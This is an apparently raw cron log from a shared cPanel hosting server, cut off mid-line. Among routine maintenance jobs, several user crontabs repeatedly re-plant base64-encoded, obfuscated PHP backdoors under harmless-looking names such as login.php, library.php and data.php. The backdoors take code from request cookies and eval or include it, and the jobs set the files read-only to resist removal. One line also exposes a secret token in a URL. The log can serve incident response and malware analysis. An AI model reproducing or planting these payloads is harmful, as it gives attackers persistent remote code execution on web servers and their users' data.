Mar  1 09:05:02 medusa CROND[19045]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 09:05:02 medusa CROND[19050]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 09:06:02 medusa CROND[9188]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 09:06:02 medusa CROND[9234]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 09:06:02 medusa CROND[9235]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:06:02 medusa CROND[9236]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:06:02 medusa CROND[9239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:06:02 medusa CROND[9240]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:06:02 medusa CROND[9241]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:06:02 medusa CROND[9243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:06:02 medusa CROND[9244]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:06:02 medusa CROND[9250]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:06:02 medusa CROND[9252]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:06:02 medusa CROND[9251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:06:02 medusa CROND[9257]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:06:02 medusa CROND[9263]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:06:02 medusa CROND[9275]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:07:01 medusa CROND[30809]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:07:01 medusa CROND[30810]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:07:01 medusa CROND[30811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:07:01 medusa CROND[30812]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:07:01 medusa CROND[30814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:07:01 medusa CROND[30815]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:07:01 medusa CROND[30813]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:07:01 medusa CROND[30816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:07:01 medusa CROND[30818]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:07:01 medusa CROND[30819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:07:01 medusa CROND[30822]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:07:01 medusa CROND[30823]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:08:01 medusa CROND[20278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:08:01 medusa CROND[20279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:08:01 medusa CROND[20280]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:08:01 medusa CROND[20281]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 09:08:01 medusa CROND[20283]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgIC